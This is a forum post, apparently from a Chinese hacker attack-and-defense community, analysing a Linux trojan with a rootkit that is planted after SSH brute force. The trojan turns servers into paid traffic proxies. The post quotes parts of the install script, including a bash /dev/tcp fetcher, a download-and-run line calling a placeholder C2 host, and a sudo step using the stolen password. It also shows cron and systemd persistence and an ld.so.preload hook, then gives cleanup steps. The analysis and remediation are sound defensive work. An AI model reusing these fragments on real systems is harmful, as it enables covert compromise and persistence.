Jump to content

Hello visitors, welcome to the Hacker World Forum!

Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

TheHackerWorld Official

Featured Replies

Posted

0x00 结论

0、中招后,会中rootkit,会做权限维持,会自身隐藏等
1、中招后,没有重启过的机器,清除需杀掉所有中招后再启动的进程
2、中招后,重启过的机器,在清除后,需要立马重启
3、需要下载busybox来做清除
4、目前看到的行为是植入各种流量代理,用于挂机赚收益

0x01 来源

看到数台有类似高危命令的机器:

bash -c export VEI=s_{IP};p='IyMhL2Jpbi9iYXNo...

发现初次在执行该命令前,都存在异常登陆,且执行的命令中包含受害者IP、密码等信息,故推断为爆破后植入。

0x02 木马分析

一、安装脚本分析

脚本主要功能:

0、判断是否root如果不是root则sudo到root后执行,用的是爆破成功的密码:

 if [ root != 'root' ] && command -v sudo >/dev/null && echo {password} |sudo -S -l|grep -q ALL;
 VEI=s_{IP} 对应被爆破成功的IP

1、shell实现了一个curl

function __curl() {
 read proto server path <<<$(echo ${1//// })
 DOC=/${path// //}
 HOST=${server//:*}
 PORT=${server//*:}
 [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

 exec 3<>/dev/tcp/${HOST}/$PORT
 echo -en "GET ${DOC} HTTP/1.0rnHost: ${HOST}rnUser-Agent: curl/7.74.9rnrn" >&3
 (while read line; do
   [[ "$line" == $'r' ]] && break
  done && cat) <&3
  exec 3>&-
}

2、只在x86_64上运行

if ! uname -m|grep -q "x86_64";
then
    exit
fi

3、创建木马运行目录

mkdir /tmp/.perf.c 2>/dev/null
mkdir /tmp/.xdiag 2>/dev/null

4、判断是否已安装/在运行

标识为:

端口监听:cat /proc/net/tcp|grep -e 44870 -e 63582 -e ':f85e' -e ':af46' -i -q
目录存在:if [ -f /tmp/.xdiag/p ] && [ -e /proc/$(cat /tmp/.xdiag/p) ];

5、未安装则下载安装

curl -A"curl/7.74.9" -s -o /tmp/httpd http://{C2HOST}/checklist.php

执行:

KRI=kr httpd >/dev/null 2>&1 &

二、木马程序分析

行为在vt的沙箱里可以看到一些行为分析:
https://www.virustotal.com/gui/file/22e4a57ac560ebe1eff8957906589f4dd5934ee555ebcc0f7ba613b07fad2c13/behavior

样本MD5:
656e22c65bf7c04d87b5afbe52b8d800 /root/.config/cron/perfcc

直接运行主程序后,看到的行为有:

1、释放文件

/tmp/.xdiag/int/.e.lock   # 主进程pid文件
/tmp/.apid   # 子进程pid 文件
/tmp/.xdiag/  # 主程序运行数据文件,里面有log、tor等相关数据
/bin/.local/bin/*  # 常见命令替换及隐藏
/bin/perfcc # 用于服务拉起、计划任务拉起、命令拉起
/root/.config/cron/perfcc # 用于计划任务拉起
/lib/libgcwrap.so  # 用于hook
# 计划任务
/etc/cron.d/perfclean
/etc/cron.hourly/perfclean
/etc/cron.daily/perfclean
/var/spool/cron/crontabs/root
# 服务
/etc/systemd/system/kmodaudit.service
/etc/systemd/system/kmodaudit.timer
/lib/libpprocps.so  # 主程序 用于.so 恢复控制
/lib/libfsnldev.so  # 主程序 用于.so 恢复控制

2、隐藏及维持

a、伪造自身为系统常驻进程名

会把自身复制到/tmp/.perf.c/,再从当前的进程列表中,找到一个服务进程,并复制自身为服务进程文件名。用于混淆视听,这也是为啥/tmp/.perf.c/目录中通常有同样md5的两个2进制文件。

之后再次运行该进程:

子进程的pid存放在:/tmp/.apid
每次启动perfctl后,都会更新pid,并且,重命名/tmp/.perf.c/中的文件,通常为常见服务文件名,用于混淆视听。

对应的要伪造的服务进程,会从当前进程列表中取。

重新拉起后,对应更新pid和文件名。

b、替换常用命令

该程序会修改 /etc/profile,增加对应的环境变量:

export PATH=/bin/.local/bin:$PATH

/bin/.local/bin中,主要是替换常见用于排查的命令:

 

主要手法是增加grep -v隐藏和木马有关的信息,如运行crontab

c、权限维持

1、修改~/.profile
增加/bin/perfcc

test -x /bin/perfcc && FPROF=p /bin/perfcc

2、添加计划任务

# 添加计划任务文件:
-rw-r--r-- 1 root root   22 Aug 20 19:41 /etc/cron.d/perfclean
-rwxr-xr-x 1 root root   17 Aug 20 19:41 /etc/cron.hourly/perfclean
-rwxr-xr-x 1 root root   17 Aug 20 19:41 /etc/cron.daily/perfclean

# 添加计划任务
/var/spool/cron/crontabs/root
# crontab -l
11 * * * * /root/.config/cron/perfcc

3、创建定时服务

# cat /etc/systemd/system/kmodaudit.service
[Unit]
Description=Kernel module perf audit and reporting
Wants=kmodaudit.timer
[Service]
Type=oneshot
RemainAfterExit=yes
Environment=FSYSD=sd
ExecStart=/bin/perfcc
StandardOutput=null
StandardError=null
TimeoutStopSec=1s
TimeoutStartSec=1y
[Install]
WantedBy=multi-user.target

# cat /etc/systemd/system/kmodaudit.timer
[Unit]
Description=Kernel module perf audit and reporting
Requires=kmodaudit.service
[Timer]
Unit=kmodaudit.service
OnCalendar=*-*-* 00,02,04,06,08,10,12,14,16,18,20,22:45:00
AccuracySec=5m
[Install]
WantedBy=timers.target

三、rootkit分析

/etc/ld.so.preload 中增加 /lib/libgcwrap.so

该文件作用有以下作用:

1、隐藏命令返回与主程序相关内容

 

当重启后,或者,重新ssh登录上去后,效果更佳,因为对应的tty也被hook了,tab补全都无法补全对应文件夹下内容。

2、利用常驻进程维持权限

中招后,会拉起几个正常的常驻服务,并且在其中,注入恶意.so。

如:

root        1647       1  0 11:48 ?        00:00:00 /usr/sbin/cron -f
root        1698       1  0 11:48 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root        1753       1  0 11:48 ?        00:00:00 /lib/systemd/systemd-journald
root        1757       1  0 11:48 ?        00:00:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal

 

所以,需要把所有已注入的进程全部结束,才能完全清除。

3、恢复自身主程序

当检测到自身被清理后(或许没检测,单纯定时跑,或者注入函数被触发).so注入的进程,会重新写一个木马主程序,并把它跑起来,对应,上面所有的行为,再来一遍。

重启后,几乎所有进程都被注入恶意.so

 

完成清理后,又有主程序被拉起来,通过日志看到写 /tmp/javax64 以及拉起来的主进程是:

"argv":"/sbin/init","target":"/tmp/javax64"

也就是说,直接是 pid:1,写入的/tmp/javax64就是主程序。

0x03 libgcwrap.so 分析

hook函数:

 

被hook的函数有35个,覆盖最常规的操作。

对应分析gwrap_init,发现主要通过:tVpVskzzChOsJMKuA 和 zAdkqhLHYfNAebWBSQLe 来做各种操作。
先解密:tVpVskzzChOsJMKuA,这个变量中存放着各种字符串,但都被加密了:

 

解密后,能看到字符串如下

'/proc/self/mountinfo
%f %f %f %s %s
/proc/%d/fd
 /lib/libgcwrap.so
 .xdiag;.perf.c;.dmesg;perfctl;perfcc;libgcwrap.so;ld.so.preload;libfsnldev.so;libpprocps.so;wizlmsh 
/tmp/.xdiag/cp
/var/log/wtmp
 Welcome back, friend.
/dev/tty
/tmp/.xdiag/wtp
 /tmp/javax64
dash
 /dev/shm/.dmesg/pds
 bash
 /tmp/.xdiag/p
 /proc/loadavg
 /proc/
 %s/environ
/proc/%d/environ
/tmp/.xdiag/uid
 /tmp/.xdiag/ua
%s %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu
/bin/zsh
/tmp/.xdiag/data/tty/%s.%d.%d.%d.%d.txt
LGCEXTR
AAZHDE=1
/proc/%d
serviceroot
 /lib/libfsnldev.so
/bin/bash
 %.2f %.2f %.2f %s %s
/bin/csh
/tmp/wttwe2
 /bin/ksh
/proc
/bin/sh
/run/user/0/bus
 echo 1|cat > /tmp/wttwe2
 /dev/pts/
 /proc/self/fd/%d
/proc/net/tcp6
/dev/shm/libpprocps.so
 /dev/shm/.dmesg/ino
 /proc/
 /proc/net/udp
 /usr/bin/sh
 /tmp/.xdiag/int/ins
 /bin/dash
 /etc/ld.so.preload
%d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu %512s\n
servicelgcroot
/lib
 /proc/%d/exe
/tmp/wttwe
/proc
HISTFILE=/dev/null
PATH=/tmp:$PATH;chmod 777 /tmp/javax64;nohup env AALD=1 AAWTP=%d javax64 >/dev/null 2>&1 &
 /dev/stderr
 /bin/bash
 AAZHDE
 /proc/stat
/tmp/.xdiag/int/.per.s
 /proc/net/unix
LGCTR0-XR
 TERM=xterm
44870;44869;63582;56615;48242;4145
 /dev/shm/libfsnldev.so
 %s %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu\n
%s%lu %lu %lu %lu %lu %lu %lu %lu %lu %lu
PATH=/tmp:$PATH;chmod 777 /tmp/javax64;nohup env AALD=1 AAWTP=%d KRI=kr javax64 >/dev/null 2>&1 &
 /proc/net/tcp
 %.2f %.2f %.2f %s %s\n
 /var/run/utmp
 libgcwrap.so
/tmp/.apid
/proc/
 /tmp/.xdiag/data/pam/%s.log
%f %f %f %s %s\n
/lib/libpprocps.so
touch /tmp/wttwe2

解密后,对应注册函数映射表

然后就开始各种用函数表和字符串表做事情了

就不详细分析了。

根据上面解密后的字符串dict,配合行为能猜到做了些啥:

/lib/libpprocps.so 是主程序,猜测是复制到/tmp/javax64 然后跑起来。
/lib/libfsnldev.so 也是主程序。
/tmp/wttwe2   /tmp/wttwe 这两个文件也在行为中抓到了,不过没来得及看里面是啥。
44870;44869;63582;56615;48242;4145  为启动后,监听的端口。

0x04 植入目的

在清理过程中,看到过它拉起来一大段bash脚本,decode后,详细看了一下脚本大体做了些什么。

首先,能远控应该是肯定的,理论上是可以下发任务的。

脚本中,看到了这些内容:

  _start_bpn ==> bitping
  _start_efm ==> earnfm
  _start_rpk ==> Repocket
  _start_ipr ==> iproyal
  _start_spd ==> SpeedShare
  _start_pra ==> proxyrack
  _start_pst ==> packetstream
  _start_grs ==> 还没实现

补充了一下对应函数安装的东西,看了看,都是些可以把cvm共享出去,作为一些代理,进而盈利的东西。

0x05 清理逻辑

找GPT4写脚本吧,告诉它你要做下面的事情:

 

0、清除 /etc/ld.so.preload 中的 /lib/libgcwrap.so /usr/lib/libgcwrap.so1、读取/tmp/.apid 获取 主进程pid2、读取/tmp/.xdiag/int/.e.lock,获取 子进程pid3、清空crontjob 中内容:11 * * * * /root/.config/cron/perfcc4、清空定时计划脚本:/etc/cron.d/perfclean/etc/cron.hourly/perfclean/etc/cron.daily/perfclean/var/spool/cron/crontabs/root5、停止并删除服务/etc/systemd/system/kmodaudit.service、/etc/systemd/system/kmodaudit.timer6、清除/etc/profile中增加的 export PATH=/bin/.local/bin:$PATH7、清除~/.profile中增加的 test -x /bin/perfcc && FPROF=p /bin/perfcc8、删除文件及文件夹 ~/.config/cron/ 、/tmp/.perf.c/、/tmp/.xdiag/、/tmp/.apid、/bin/perfcc、/bin/.local/bin/9、把所有删除的文件,再创建一下,然后用chattr +ia锁住

Create an account or sign in to comment

Recently Browsing 0

  • No registered users viewing this page.